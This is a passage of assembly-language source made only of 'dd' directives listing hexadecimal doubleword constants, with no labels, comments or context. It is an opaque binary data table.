dd 0E8386610h, 90DF1906h, 0D47C32E2h, 90099F80h, 0E103459Ch
dd 0FB109013h, 0B3300A8Ch, 10336484h, 0C55D40ABh, 3344523Fh
dd 9A712D74h, 354580B6h, 10917DE1h, 0DBE4007Ah, 33900FA5h
dd 0A89245h, 529AC731h, 89B8C4E9h, 954006EEh, 98F25238h
dd 0F62D3709h, 5D7C5420h, 0FE0A70E4h, 809A9984h, 0A848C918h
dd 79BD1837h, 1BA32894h, 7C547002h, 405063FDh, 7472BB0h
dd 205234B4h, 0A8FFC172h, 90C48F3h, 5B0E5005h, 0B003FBA9h
dd 0E0D2C810h, 1C2B53A1h, 0CA720A5Dh, 0E406F2Dh, 192B516h
dd 555B1C84h, 0B31830D9h, 0B6602890h, 24BD0BC1h, 3D8F02CFh
dd 0B891661Eh, 519E8B40h, 424CCB7Ah, 7DF68154h, 0FC42A785h
dd 0E4426Dh, 0FB814C8h, 0F094CCC6h, 9D54D878h, 1EEE9388h
dd 0A1C0B824h, 8DA4F619h, 22404083h, 583C196Dh, 4A558030h
dd 0B0E0649h, 0AA383E17h, 18FA2B01h, 20D3F8F7h, 0E20435E0h
dd 0CB3D8E64h, 20270882h, 7166F7A3h, 8FB6FB03h, 610FEC33h
dd 9E3958C2h, 430ECC59h, 0E0833BECh, 0D29C6F72h, 0EDBC3018h
dd 53057027h, 0D669350Ah, 0D7C8801h, 0A8401987h, 0B71E46h
dd 3C90AF4Ah, 0D148165Ah, 804E971Dh, 0FC9D5747h, 86EC0312h
dd 104840B8h, 88C9B9Eh, 1D1631C5h, 972E8C0Bh, 4C99D218h
dd 45F8AC28h, 4AD04E15h, 2EB21184h, 9BBF107Ch, 0E15E0078h
dd 83B147CAh, 711C0C29h, 0F6F8A93Ch, 9CBB2186h, 850213Ah
dd 0A3719FF3h, 8E641A00h, 40B97A88h, 2704FCFAh, 3FA02CA5h
dd 0F834012Bh, 3D5BFD4Bh, 1E9E6020h, 0B19E978h, 0E001D689h
dd 30E29CB3h, 580B70A6h, 21F44941h, 8C614DC8h, 0CF3B0E01h
dd 3C438EFAh, 0C9E624B0h, 566A4516h, 295A000h, 53EBBB4Bh
dd 0A6842046h, 1316050h, 27EC0904h, 0DC80D79Bh, 5E3CDA8Fh
dd 3CE3092Eh, 6592BC87h, 0AA88DF80h, 0AD571CA0h, 0F2C958BEh
dd 0B2007C70h, 0E263C2ACh, 4BC682Bh, 4AF15A31h, 84A80C1h
dd 9600C715h, 39772624h, 72558F86h, 9B2300B9h, 0A762AB5Eh
dd 150018C9h, 0FA341E1h, 0E29CAB0h, 2816D0EBh, 0E2AD7420h
dd 3B009D4Eh, 0F1B68CF8h, 6447D4h, 48A413B8h, 0AC48EC0h
dd 963DC700h, 5D614055h, 701FAD6h, 49C1515Eh, 0B8DCE0C9h
dd 0FB00A205h, 98825056h, 7AED537h, 0BE425BD4h, 0F960C1B0h
dd 3A48F416h, 22018D00h, 21E74A87h, 0B9DB0075h, 0EC027EACh
dd 4B7E5099h, 7A00E476h, 423827C4h, 17D552h, 0F492C8A6h
dd 0A7C05F57h, 22544001h, 1D40BCCh, 434DEECh, 7F483275h
dd 642E80C1h, 3A0CC85Dh, 110BAAD5h, 4A1300A3h, 6D8F1AD8h
dd 9200C7ABh, 0E7FB5BD1h, 26B9D942h, 9FD86E4Bh, 0D852007Bh
dd 5EC3FD0Eh, 86DBED00h, 99FB1043h, 6D2F30A0h, 26E4B580h
dd 98292D18h, 3AC35B66h, 6C82915Fh, 0F94A8E13h, 2C0324C4h
dd 4D87683Fh, 0E1FF88E6h, 76AD138Ch, 1C181FE3h, 8AA70306h
dd 6A81D7B8h, 0F1FBC071h, 77F4905Ch, 0AB609D00h, 5B7D1801h
dd 0E20C0081h, 0B7BC3177h, 4500986Bh, 0C1A550F7h, 0DF8F3h
dd 0C4D25D1Ah, 7F9C093Eh, 0FF79CC00h, 442694E4h, 598800A0h
dd 0CFB0EE69h, 55004DC7h, 64CD5B67h, 6E3AF2h, 87B7D09Ah
dd 0AC51AF36h, 0C6A7C500h, 0C0CF1CEBh, 0BD700BBh, 0D5C4824Eh
dd 3F07ABDCh, 0F5892653h, 901A13A0h, 0B63E004Ch, 576E31B8h
dd 3A00E5F4h, 5ADA73EFh, 48A8B5A9h, 2C0008A7h, 0C7458F44h
dd 2F4DDEE1h, 3F0F00BCh, 0A764849Fh, 40C533CFh, 3DBB35A0h
dd 0E86033E8h, 8613203Ch, 0FDAA9698h, 1B2EC82h, 1EBD6BC7h
dd 0E820F654h, 7300D0D9h, 7947602Ah, 3C297Dh, 31A87767h
dd 0B6179EC3h, 0C6B0F00h, 8AADB7ACh, 0A11D1263h, 7C900022h
dd 0CD2D3A2Ah, 0FA230B01h, 3BC6F472h, 288AB9C4h, 31F49875h
dd 45B96E10h, 344E003Eh, 0D79013h, 19AE7183h, 976F1787h
dd 794364Ch, 98B8F02h, 1E08A496h, 79A7B94Eh, 8D28FC80h
dd 42AF76D1h, 0FD35B000h, 340DB10Bh, 379500C3h, 0A2A5A770h
dd 57FE9C76h, 0C8BA6828h, 4033E005h, 0B4441F1Bh, 40909F88h
dd 1C3B923Ah, 801AB74Bh, 0EC50A70Dh, 0E6005D62h, 97164A98h
dd 7772D6Eh, 13A559FDh, 0B46A70C2h, 0EB5017DAh, 0AB0089D4h
dd 0A77643D8h, 7E2F2AE8h, 68D900C6h, 583747Ah, 58005B6Bh
dd 0DF4854Eh, 60E881EBh, 13AC80FDh, 0B5034183h, 94BF0EF2h
dd 0C47580CBh, 0C270001Ch, 0BB5A3823h, 0A07B7DFh, 8C507219h
dd 0DCCB9A00h, 932E00D5h, 88E4940h, 0DE00B10Fh, 79F2E8C1h
dd 382612Fh, 0D3555791h, 12A8BF69h, 3007901Fh, 0C7FF8A0Ah
dd 3BA635A0h, 0DBE44863h, 9C395400h, 22C47870h, 0C733C0A0h
dd 366BCA00h, 35B7A86Fh, 0D5C50C58h, 912928BFh, 30003174h
dd 243F8B76h, 3B5B371Bh, 0F4834A80h, 95F1DFB1h, 1720FCF8h
dd 0E91F2872h, 1CC0183Eh, 0DA996489h, 0FB81124Ch, 441400CEh
dd 42F4E545h, 805A2C3Bh, 0AD2D4318h, 25EB4Eh, 4724AE3Bh
dd 5E65B73Ch, 0C7345B00h, 0DDF5B40Ah, 0A16330C9h, 0FF5AE4F8h
dd 0D0C36500h, 605B8930h, 0BA9A0386h, 35CB6D31h, 0C585AB91h
dd 0F60A305Ch, 96C55400h, 0A57B59DAh, 0FA520009h, 206DF48Ch
dd 5807BE86h, 0E84A5346h, 0B7DE4EA0h, 0CFB30F19h, 56C0C52Dh
dd 9E4CD7FBh, 0E41F664Ah, 7CAD9F40h, 0A3920D5h, 54B6C781h
dd 21AA0082h, 40FD2913h, 0B9029713h, 2699C400h, 0C0BC9B86h
dd 4FF44811h, 8F13EEF2h, 0AC000793h, 0E8CD0F9h, 189C0008h
dd 0F1C6EAB8h, 3A036630h, 0E9335EF2h, 0E4A0B793h, 49CD36h
dd 0EA2E4579h, 0D35E677Ch, 8E8F7306h, 314B72Dh, 65E98C5Bh
dd 0F6987AB8h, 5900D22Eh, 5593F8FFh, 0E5CF79h, 88118206h
dd 45E8EE67h, 4E8DCC03h, 0D023D9DBh, 8EAB0Ah, 0EC3C8053h
dd 2A97CB04h, 6354F500h, 0BBCD1E3Fh, 6E3D07BFh, 600D709Dh
dd 37DAC459h, 0CE766000h, 30C7A8A6h, 0E288073Ah, 7F42351h
dd 68945034h, 220FD441h, 0EE729709h, 0FC3124C9h, 7A6100EFh
dd 0C2F75A0Ch, 0FFD4CD00h, 15E8F194h, 218A0013h, 65AE492Ch
dd 0B0707795h, 5EB3F701h, 35548E2Bh, 2BEFCh, 4215F4BBh
dd 37741B51h, 32002373h, 3BE6FB7Ch, 6482FCh, 0E8B9F91Ch
dd 0D7B00C59h, 6249E300h, 244A504Dh, 66890045h, 302BC43Eh
dd 21005752h, 9540A964h, 0CD7D25h, 69273510h, 0C39AD86Dh
dd 964E100h, 77F69047h, 2BDC014Eh, 0B71E2229h, 702CE57Fh
dd 78005DDAh, 0EBEDCF7Ch, 0FA8DDFh, 5F01C245h, 5C9B2ABh
dd 5433E502h, 809B0289h, 593086ACh, 7A1F1358h, 41700F1h
dd 88446878h, 15FD48C0h, 3F713F4Dh, 0BABBF986h, 0E806A695h
dd 0C0918507h, 4B42E170h, 7D0C40C1h, 81C3E05Ah, 60289661h
dd 5FDD08E0h, 63F8FB72h, 34276600h, 51920932h, 7D840073h
dd 25823642h, 0B052178h, 0BDF7C944h, 0D94BE707h, 0D29B6030h
dd 294C0085h, 0B37365FBh, 99036E0Dh, 0FD6679A7h, 0D17ED09Bh
dd 6381CFE2h, 83C427E7h, 0A1010761h, 142F3491h, 93CC92B8h
dd 0E25C5C3Fh, 0C6AF7E01h, 0ECC15667h, 9F07DFCh, 0D664100h
dd 39B1DC4Bh, 87FA6Ch
dd 658B28B4h, 3472D5FDh, 76C01E00h, 4E2B980h, 1D1901FFh
dd 9FC46003h, 0CC888081h, 614E400Ch, 212601B6h, 4CE92E84h
dd 0B2C02089h, 0C85B803h, 0C0CECD63h, 0F25120AAh, 27AF0001h
dd 0F08A9261h, 0E700CBB1h, 0E269AC24h, 0F2397B18h, 0DC7A0307h
dd 0C1E8E90Eh, 0DF8C408Fh, 0BF0035DEh, 5FF85132h, 0BC7892h
dd 25F12E79h, 0A6E9683Dh, 0E72FA400h, 0F71BE498h, 0D94A0C66h
dd 2DB1A785h, 0B603F1EEh, 607A06E0h, 41900E9h, 84AC34AAh
dd 8C1DCEF8h, 0C055038Ah, 0EA200B8h, 0D2E51DBAh, 5DD00B9h
dd 8BFBED22h, 6660FD1Fh, 0F6F88118h, 63010749h, 8185FA89h
dd 0E0099919h, 7A02DA65h, 79B9830Bh, 0FAD88014h, 0C561F0h
dd 0DBE275B2h, 5F49E74Ah, 666D43Ch, 0DDCE3C0Dh, 51E60C28h
dd 53181E7Bh, 8CF26C7Ah, 0EEC098DFh, 6B1D8887h, 57630008h
dd 0D9922D0Fh, 0BA7833D3h, 6E011F18h, 0C4B7FA0h, 6F79B8CCh
dd 6119A381h, 7058234Fh, 1E4AE720h, 0CC4B3448h, 3918078Bh
dd 786D7A3Bh, 9C3CF87Fh, 0AD701403h, 7EE60094h, 0D95CF10Ah
dd 44F5490Eh, 6C08906Fh, 0DEF24841h, 6A793009h, 0A27D90C1h
dd 0C8ADBB62h, 0E8C483F0h, 0D96C1F87h, 0ED140EF7h, 0EB24C0CFh
dd 0F8CB838h, 67687E42h, 0DEC94E00h, 0FA836D34h, 0D6A8C0F9h
dd 0E10DFFA5h, 8E25CD00h, 0C5A7FBBCh, 0EA980FC9h, 0DB80E522h
dd 0B91C4891h, 0E0B4A3Ch, 207DFA88h, 0F460EFD8h, 5A100BBh
dd 6C1883E8h, 62009299h, 7F5725CFh, 187249F8h, 6093E1F0h
dd 3B0E5C5Bh, 0F356B6C6h, 88522500h, 1E5E71EEh, 40FC7932h
dd 9072068Ah, 0D200DB91h, 0E3CA1A9Fh, 0F1E9552h, 1DEFC874h
dd 23E8A2A1h, 701AC499h, 0D32ECD00h, 0D5872B90h, 0EE380021h
dd 88E1C402h, 6C00EBC2h, 499CCD9Fh, 3F519619h, 0C982AA10h
dd 58EA2C79h, 6D73C060h, 32EF9900h, 0F6F5CE52h, 0F00100F8h
dd 1A286939h, 0FEE69E1Dh, 31B83D00h, 5B87AB40h, 0BAFD3132h
dd 0E4C06010h, 29001BF8h, 738E5766h, 1A122FFh, 7AF5B76Dh
dd 508AB26Fh, 8C82CB9Ch, 44392507h, 0BED07B7Fh, 9D2CD05h
dd 8FA2CE04h, 0ABEB2420h, 0D62ED5B1h, 9C2071A1h, 0EFF80476h
dd 2A4E8A0Fh, 0A0768079h, 0E5D834h, 7D4319B0h, 9F0B6675h
dd 74448D24h, 7A49D480h, 4EC9BAh, 6A873246h, 0C6F1585Ch
dd 6D61FD00h, 0A67590BFh, 403000E9h, 128F0356h, 3400E42Fh
dd 1B115288h, 0B66B343h, 904F6578h, 0C6462400h, 1400C7A4h
dd 2FB817DAh, 14B996Bh, 6A72925Ch, 0F26C7311h, 3EE6DB80h
dd 9E3C769Dh, 44A38720h, 69600498h, 88CCC3h, 3D373287h
dd 9FE97DF1h, 7BDD7500h, 615A9DA8h, 19D76063h, 2C69035Fh
dd 653D261Fh, 7114F8C0h, 4763E6Ch, 0A5B7DA8h, 540C8060h
dd 940073E5h, 0C99A2FBFh, 3C1A1F08h, 0FE008329h, 0A7DBDF9Dh
dd 90000B20h, 4A886CA3h, 403E18h, 4683D8DAh, 0CF43D08Ch
dd 0D43278C0h, 1D3576Eh, 7D417523h, 0F83FEC65h, 0A0003137h
dd 3F1D5B4h, 2141CB6h, 0D1FACCB0h, 8406976h, 2C0764FBh
dd 6FAA5218h, 22EB9D80h, 538708Fh, 82B62EC2h, 94CFC01Bh
dd 0CB0070C1h, 47DC430Bh, 3012C39Dh, 0D82950C9h, 0FE769475h
dd 7800EC70h, 8299F1E4h, 27B8AD2Dh, 0C3F0EB76h, 219BA700h
dd 0D2F75E5h, 6C0A00C3h, 1601AF1Ah, 9E00B782h, 0EADFF491h
dd 7D71498Ch, 87810058h, 3C9C4C51h, 2007EC33h, 42CFB41Fh
dd 0A06A12A0h, 0E83400A3h, 571790D1h, 30FDAB8Dh, 631FD2D4h
dd 9CCF51A9h, 931960C8h, 790FAFh, 8398EEE5h, 57F888E2h
dd 2CA48200h, 3771584Fh, 0BF9E0005h, 60416154h, 600D60Fh
dd 6ECFE669h, 27936A9h, 233845F3h, 94C01120h, 8A6BFA9Fh
dd 0BF3F00D8h, 474F1Eh, 0D1E98413h, 0D7E7576Ah, 0C67010Eh
dd 5DB3C0B7h, 78A1A3h, 48C4D836h, 6D0BC11Dh, 0CA643107h
dd 52443D6Ah, 1A49F9C0h, 2D000DEh, 0D8EF65A4h, 2F6E459Dh
dd 0AF1CD671h, 7C44394h, 3EC5607Ch, 4C1387Ch, 0C378F896h
dd 0D198C007h, 0C0F1DEA3h, 0EE0075F9h, 6EAE7A11h, 0EE329BB6h
dd 30B8F436h, 0C680CCABh, 0C1709C9Fh, 9900D9FEh, 66DD1175h
dd 35DC29h, 3EADB7E2h, 0A7C4BFEAh, 0E6D21C00h, 0A1CAFE0Ah
dd 79FF2C3h, 0CDF0DB80h, 9163C0FFh, 79004C93h, 2A15A54Dh
dd 18FC7h, 0B621081Ch, 0DD126A3h, 0DED29600h, 7A536B62h
dd 41E08Fh, 0ACA01543h, 50F5D8F7h, 772E7C00h, 20CA0917h
dd 3ACF00DDh, 0A6B3A778h, 4128A164h, 0C8009073h, 0FF33052Eh
dd 0F27EDCh, 0FED5AF9Bh, 0A8139D6Eh, 22DF93Dh, 0E74B71E4h
dd 87C240B9h, 0D3080017h, 56BC8930h, 4002952h, 2EE6CEAFh
dd 77A4FF9h, 7B908E3h, 55B4E079h, 0F6008D69h, 475E749Ch
dd 0F8FB8C4h, 0C6B2109h, 0D1E30BA0h, 2300A0D2h, 94F013FFh
dd 9B30FBh, 8C40E4CDh, 0C960770Ah, 42C58800h, 2A7D0234h
dd 182F0FFAh, 46600E48h, 0B236CB75h, 5F3D9400h, 0CF27A138h
dd 0C47AD5h, 0F52A136Fh, 0FACD78EFh, 0FE280500h, 64D87A4Eh
dd 72312827h, 101E0088h, 8D980D44h, 131F11DAh, 8242B35h
dd 3A061C80h, 36CDA8h, 0C9C61D94h, 5CA764ECh, 6D23870Eh
dd 68C0E026h, 0B7A10Eh, 61A9FF41h, 7888A8Dh, 79D56700h
dd 0C71CE7CEh, 751006A6h, 3083274Eh, 0C4613900h, 2B3AD399h
dd 232D266Eh, 60548004h, 0E09F882h, 64064024h, 4CDAC500h
dd 1F1986B7h, 80D528CEh, 0A23E1FE5h, 0BC007540h, 0C0A40952h
dd 0AB76A7h, 5EF4CC77h, 5729C54Bh, 186BCE00h, 0EA7FF19Eh
dd 0E757BE0h, 869A097Ch, 2BB789A1h, 9143601Dh, 0B3006BB8h
dd 11B6D32Ch, 797A60h, 0C706C697h, 0FE429EE3h, 832A1238h
dd 31C4E615h, 5E0DE833h, 72D500F7h, 997680BEh, 2200AF7Bh
dd 0B04C89DCh, 0C7FE25h, 54F1C9Dh, 0E1199386h, 5C223Fh
dd 0D620C04Eh, 7523D35h, 0FB29A37h, 0A314C0F4h, 7E001288h
dd 45B5394h, 0C6A41Ch, 0AA8A9C30h, 89A73DE0h, 5C933500h
dd 0A19F33CAh, 34314BDh, 0AE00C192h, 255F047h, 22098932h
dd 8F3B88D9h, 62BC60EDh, 1F25C386h, 7A0AD8h, 711AF9B9h
dd 7600A8BAh, 0C92AEB8Eh, 3D0222h, 57C351B3h, 0C23107BFh
dd 879BEA07h, 1F138Dh, 24D979FBh, 0F49500B7h, 11B03CAFh
dd 2A009DF2h, 41281D38h, 7EABBDh, 258FFAC8h, 0B1507AD7h
dd 1DFF0703h, 82AD8D2Fh, 47807DD3h, 86D288F7h, 0AB650C03h
dd 0B84E9C82h, 2ED84407h, 1EE605C0h, 47C20C14h, 3C3B46C4h
dd 0AA007503h, 352FC17Dh, 0B842FCh, 60BE6AAFh, 0E836E266h
dd 0AC5ADF00h, 29DC544Eh, 4FC00FD1h, 952158AAh, 0C4641338h
dd 77E01290h, 0E71F4374h, 0C498D3E3h, 5CDF0A18h, 778FF58h
dd 60758CDDh, 768EDEDBh, 860AB282h, 0BAD91080h, 480FBB95h
dd 9DBDED74h, 3EB1E100h, 0DF25CAh, 9013FC6Ch, 17300150h
dd 930D3207h, 2840F9AAh, 0F09B93Dh, 0ED3C29AFh, 1E1DA88Fh
dd 0FC51FB3h, 3A819A07h, 0A6BD60F8h, 30001C29h, 32D26FC0h
dd 0F0D871D5h, 0A0447C08h, 0A068281Ch, 0E053E2Ch, 0FD328D93h
dd 2F3C8780h, 10A01728h, 1CA04F44h, 0D800E52Eh, 919450D5h
dd 3EA6630h, 0DE02715Ah, 14900FAAh, 32002906h, 44F4BEE1h
dd 30CD9B6h, 1CA8C74Eh, 0A0B11905h, 0A37FF062h, 6FEAB000h
dd 1E03D5B3h, 0F25600EDh, 8873C07Dh, 0C600E620h, 310C33C3h
dd 0FF456Dh, 0E009F419h, 0A84129B6h, 6B167501h, 3F42E7A7h
dd 780EE5F4h, 29591DC1h
dd 7DCA80AEh, 0D52DFA5Ch, 76ED4E02h, 0C0E49D6Ah, 0CB2833h
dd 0E9070AC9h, 0E2582353h, 7CD8E31Ch, 1C9104C0h, 0AB19CBh
dd 2767F3F7h, 0D652B863h, 0C88CC454h, 90407905h, 9042581Fh
dd 81D8E2A1h, 97645084h, 1AB69040h, 0D7B90018h, 20D5651Fh
dd 0DC32A106h, 204829DAh, 7A09C193h, 5F25F80Eh, 7134C3B4h
dd 4C8E022h, 0E17C7Dh, 5C79AE55h, 11A6F5DBh, 17610A00h
dd 730C3AA1h, 0F2D5007Ch, 831D18AFh, 400C99Eh, 4542142Dh
dd 0E30F03h, 8155D833h, 964164C8h, 8999207h, 8C8007E9h
dd 0FD3D87h, 1892580h, 43D94F1Bh, 48CC6A00h, 0B7B8468Eh
dd 0CA61D5Bh, 0EF6CD2A5h, 0ED718C00h, 0E3C8E8h, 0BBD9EB3h
dd 0FD9DF972h, 0AA5011EEh, 0ED00878Ch, 7FA2D7FCh, 906E1AD0h
dd 614006BDh, 52A051F9h, 0D25DD900h, 0F6B9BF39h, 95D10043h
dd 7135AB20h, 0C701B1FEh, 0FC6FA75Ah, 0D9CC4E3Eh, 33C10387h
dd 0E29F0BA3h, 8810CBC0h, 0B25BC800h, 59D2E4BFh, 46BC006Bh
dd 7D2602AFh, 950005B1h, 189CEB56h, 825ACEh, 8D794369h
dd 969A5726h, 60C0320Fh, 0C2A20083h, 0FE481510h, 0D719Fh
dd 62A72ABBh, 0D1C3D691h, 0BF82E900h, 29A987ECh, 0F1E06076h
dd 0CA3F86Ch, 16600507h, 5B3133D2h, 0B6E46D84h, 0B01A0001h
dd 0F69FD3E7h, 0A000697Dh, 0F0B8CC31h, 421CA1h, 9067FE85h
dd 0BAF2AD9h, 0DDB5B300h, 0FB284C3Eh, 0FF740072h, 0EF8DBCE8h
dd 8F00AF77h, 0E4FEBF64h, 0F440579Bh, 0B94700F3h, 2C44BA5Eh
dd 0D716A046h, 0DF01AC1Ch, 27755BD5h, 4BEAF8h, 8AF53FAEh
dd 20A50207h, 8F982401h, 488813A7h, 0F4C5D880h, 2DC41850h
dd 4A493800h, 1FD3EEDBh, 0F4D0FF5h, 7F8022B9h, 2A4E0748h
dd 24F40175h, 0E9985100h, 66AD6A74h, 41BB00DCh, 2BB33792h
dd 0D0C0D24Dh, 0A6DB43D0h, 19A707B4h, 0C0FD11C9h, 5EDAF774h
dd 0D9ADE400h, 0E868A64Eh, 0B9D008Ch, 0A1B096FDh, 0E30C4220h
dd 0F844E77Dh, 82724DBh, 570300CCh, 0E1AEBD7Ch, 0FA6D5600h
dd 1AD3DA3Eh, 780B0087h, 0B8BC909Bh, 6A009DBFh, 93613124h
dd 4B7F09h, 0DB5EDFC2h, 0CE424ECAh, 43026BF2h, 56FA2268h
dd 987C430Bh, 0DB16C4h, 80937CBBh, 9236BA77h, 1706900h
dd 0A3DD2189h, 0F3A700E1h, 57CB7B48h, 0E5E8FB96h, 92AAB400h
dd 0C3889F16h, 0AD110C99h, 0C5B8DD18h, 0DCD60A0Bh, 0C0FC25h
dd 2E6C5FF6h, 0E30251C1h, 4BE7C0D9h, 0B30357EEh, 6BD80E62h
dd 1960FCB6h, 9C70F298h, 0A90F0398h, 0CB1107A1h, 50BC2DD8h
dd 0A5271000h, 5FF5EBF3h, 692B00EAh, 0B2281AE9h, 0A00D60Dh
dd 6B98CC1Eh, 4FDDF6Eh, 0E5C923BCh, 918CC092h, 0F54D32D5h
dd 0B088287Ch, 6CA92600h, 0A1038906h, 0A0AE2873h, 0D5D70FA8h
dd 0BB40690Dh, 790BDE92h, 5EE54518h, 4A86DF2h, 484B2099h
dd 1B180E0h, 5200F969h, 0EA7EFA5Ah, 0AB09BEh, 4A293F2Bh
dd 936CA528h, 334EB500h, 91DC3876h, 12B85Dh, 329E9D50h
dd 0B86BE0E3h, 85040300h, 13974041h, 0FB7E0567h, 90BE30AEh
dd 68BB0A9Dh, 0C7025900h, 549E8FB0h, 58EB000Dh, 7BDFA60h
dd 1F006106h, 64C0F187h, 7AB7E74h, 0C2AAFC1Ah, 0C7B580F5h
dd 5C02AD1Eh, 121657CFh, 0E8E213h, 0A966728Ch, 0C5D8005Ah
dd 546994FFh, 73750291h, 0C15DA41Fh, 598EF500h, 1ED57B7Ch
dd 0C0AA3186h, 6C5AC0F6h, 75009C50h, 0BD388FD2h, 4CA9BE63h
dd 2208E007h, 0E78023E5h, 863BC43Dh, 1DEB00CEh, 0ACF8D476h
dd 0D73EE872h, 0E6E1000Dh, 42598A5Dh, 8FB805h, 3A8941D1h
dd 0A8E625Fh, 0CB447800h, 0E0ECC6D2h, 5BAC00CAh, 0BDF0C2EFh
dd 7E007CC7h, 0DC6C51FEh, 79C59927h, 967977h, 45249701h
dd 98E55DEh, 0CF73E405h, 8C807C17h, 3FD45181h, 0DF3EDB41h
dd 880FE307h, 0C2180014h, 3E046C69h, 6F6071D5h, 16E25080h
dd 36AF075Ah, 94856B20h, 3A309233h, 0D3000864h, 11D97A4Ch
dd 1279BDEAh, 4813E9h, 0A06920Ch, 0BE0228DCh, 9248F35h
dd 9A35E023h, 9A2BE299h, 15A700A4h, 0CBDEEFD3h, 749A45A9h
dd 446C1E00h, 94A5968Fh, 6DB822h, 5840CF1Bh, 603DD752h
dd 43B9DE07h, 97902D90h, 0CDEA91h, 0B6541F0Dh, 0D7DDC037h
dd 0C500EB79h, 26BD3D34h, 5889BC9Ch, 2307D0C6h, 0E3B87180h
dd 0D907A713h, 2E8E9DDFh, 1A0C4C80h, 0FFFD1FC1h, 7EA0C3F2h
dd 65F04EE6h, 0B400963Ch, 0A39E79C0h, 1C38972Bh, 381A8595h
dd 83860F00h, 1F188E9Fh, 9B121B16h, 0EE3FE440h, 0B721ABh
dd 2DA92266h, 0A037B8F8h, 0B4358501h, 76B2F623h, 212EF070h
dd 26901628h, 300EEDC8h, 92A182FDh, 0C378E3FBh, 5D1011E5h
dd 0D53CC3h, 0E44124DCh, 99B147h, 0C50B194Dh, 0D57F3E93h
dd 5F84A600h, 74CD4A1h, 177550h, 80B93D2Ah, 0D45F593h
dd 6C0BD5E8h, 0A9D121DBh, 807180ACh, 0A95299h, 0B9152AEDh
dd 6CF5A336h, 0E073883Ch, 0C92EAFA8h, 0A80509EDh, 0A0A00DF9h
dd 0CB16220h, 0C20B361Dh, 1280D2DDh, 6BEC7F82h, 278B0013h
dd 0AD1BA910h, 360EF82Ah, 53183F4Fh, 0AA135600h, 0F725EAh
dd 34D4C33Ah, 9CE9D706h, 20934D00h, 33D8F1C5h, 0F9833F97h
dd 0FB1E5A5Ch, 0E42880A2h, 0E696DD0Bh, 45ED951Ch, 4755E70Fh
dd 0A0D030F5h, 98A693F6h, 8B740048h, 0F115F351h, 0CC008AC9h
dd 0F0B302ACh, 0DC186Fh, 0D49FDFECh, 0AA594DB1h, 0DE00E876h
dd 785E22C1h, 6533BAh, 4F28CD0Dh, 0A931A244h, 5C05E4A8h
dd 0FA3DE300h, 51B3DC34h, 5AB000BFh, 0EDEC9963h, 8C00BC1Eh
dd 0EF769F3Ah, 0C30627Bh, 0A2E16A28h, 33243240h, 24BC0427h
dd 46147FB7h, 0B61109B4h, 70306B54h, 76B77EF8h, 388586Fh
dd 44382600h, 4AC2F548h, 7EB6A736h, 0E986EC31h, 25813C2Ch
dd 0F0AE2D8Ah, 19DDB082h, 31BAAA8Ch, 262B0345h, 0D67F14A8h
dd 0B40D1DAh, 0FD148107h, 4430F8h, 77B760B6h, 0E5481Bh
dd 0AA0D3640h, 573349DEh, 28DA49h, 929ABD1Dh, 9D3506Eh
dd 0EECF1051h, 0FBBA0F00h, 1C00B04Fh, 448F33FFh, 501621h
dd 66B60E98h, 736F88EAh, 24AC3C2Ch, 9979B418h, 0A6BE07F5h
dd 0C0B268B8h, 896DDCC8h, 3EEDA003h, 9088670Dh, 0A3628C6h
dd 1B3BDF66h, 13C8B080h, 5030A192h, 3A02A1CDh, 2A8C010Ch
dd 0A8DC4B47h, 8AA0E0E6h, 0A420CD03h, 9036062Eh, 79B37F1Ch
dd 6A970EC0h, 0CAE0FFE2h, 438F9285h, 4CED4F00h, 3CEF9E21h
dd 57C10059h, 0A068917Eh, 20374599h, 216C08A3h, 7E5D0361h
dd 7C29674h, 323F26F8h, 66F9F800h, 0E0928AB0h, 15CE003Ah
dd 0AB4C3CEAh, 5E30B82Ch, 4A0518A0h, 0EAFF8ECh, 44D558A1h
dd 56795898h, 0CE462E00h, 0C638C15Eh, 5A08CC66h, 72988421h
dd 0D5E2D800h, 50DDB9ACh, 1D410082h, 76BC7B69h, 0F503EDA6h
dd 3462E233h, 0B0106C29h, 9698AD40h, 0F1319132h, 7E55304Ah
dd 0B0689B11h, 6B809C88h, 0C8A7E53h, 1BC100FFh, 67E95C55h
dd 63E060C7h, 0C13802E9h, 0F0B937B7h, 0FA595781h, 8077C012h
dd 0CF19B188h, 7FB44E33h, 50583C15h, 4FBA93h, 0CB366741h
dd 5A004555h, 77D5E64h, 7FC329D1h, 0A0900FBh, 872FBDE0h
dd 9501A4E9h, 43D69EFFh, 2AC87299h, 36EE00D8h, 49C6A5F6h
dd 1317B018h, 0B00C7C0h, 0C57E5009h, 0BC480006h, 0F7D51610h
dd 94075472h, 74B48712h, 82AE9E90h, 7AD0005Dh, 76F70595h
dd 0D4007D8Eh, 3F396011h, 59020Fh, 0A3D7F84Fh, 46F5894Ch
dd 0B876D200h, 6760DF2Bh
dd 293B64DAh, 0BD192463h, 1C08C429h, 84973744h, 42FEE022h
dd 30D01190h, 0E0008B22h, 14DE845Dh, 0CEB7F6h, 60FD034Ah
dd 0D72F507Dh, 0C1E35100h, 382332CCh, 0E6DE00B5h, 0B66E3984h
dd 3B731E5Bh, 778C9E00h, 0E8D587EFh, 0CADA00A1h, 8F962E12h
dd 0D7284A7Ah, 90008A26h, 485C204Dh, 0EE08283Dh, 0C82A00EBh
dd 0E6E26E0Ch, 0FB5881CEh, 10C40018h, 2C8CD360h, 0EBD8BD1Fh
dd 84178503h, 80FC0CF3h, 3970B3h, 44EC869h, 0BE0E43A9h
dd 2B8838C0h, 981D76F6h, 773900DCh, 7130994Ah, 94009DC1h
dd 0A52C4828h, 9958064h, 1803F374h, 7BCB0400h, 0F404C9D8h
dd 4C5C23D6h, 2BEDA80h, 8DF60929h, 300B21Ch, 24376E9Eh
dd 0F2136C04h, 1D801280h, 75179C8h, 6E96FEF0h, 3A53505Ah
dd 0AB002A52h, 0D811450Dh, 7CF11970h, 0D1EA0Bh, 0A2B5750Fh
dd 0C167D4B9h, 0F4BFE800h, 4C2B2627h, 53EA007Dh, 0D51BF224h
dd 3600BC05h, 0ABE90E54h, 25E4F90h, 49886541h, 2C40702Eh
dd 0E30F82ACh, 0EFF7AD67h, 280093DBh, 0F9978D99h, 344703F8h
dd 931B1E98h, 0C39A3AB0h, 0B46BFCE7h, 0DC236900h, 0F4598889h
dd 90ECC7h, 1F5CB553h, 5FAC70EAh, 2A6B6F00h, 10DA4867h
dd 0ADB318D3h, 3D3A292Fh, 0C2770500h, 8EDAF744h, 0A018C097h
dd 141D921Ch, 7875A900h, 3172BBC2h, 494F008Dh, 0E90D1AC0h
dd 0F004E64h, 3E695707h, 5C93DC28h, 68001587h, 4AEFDD22h
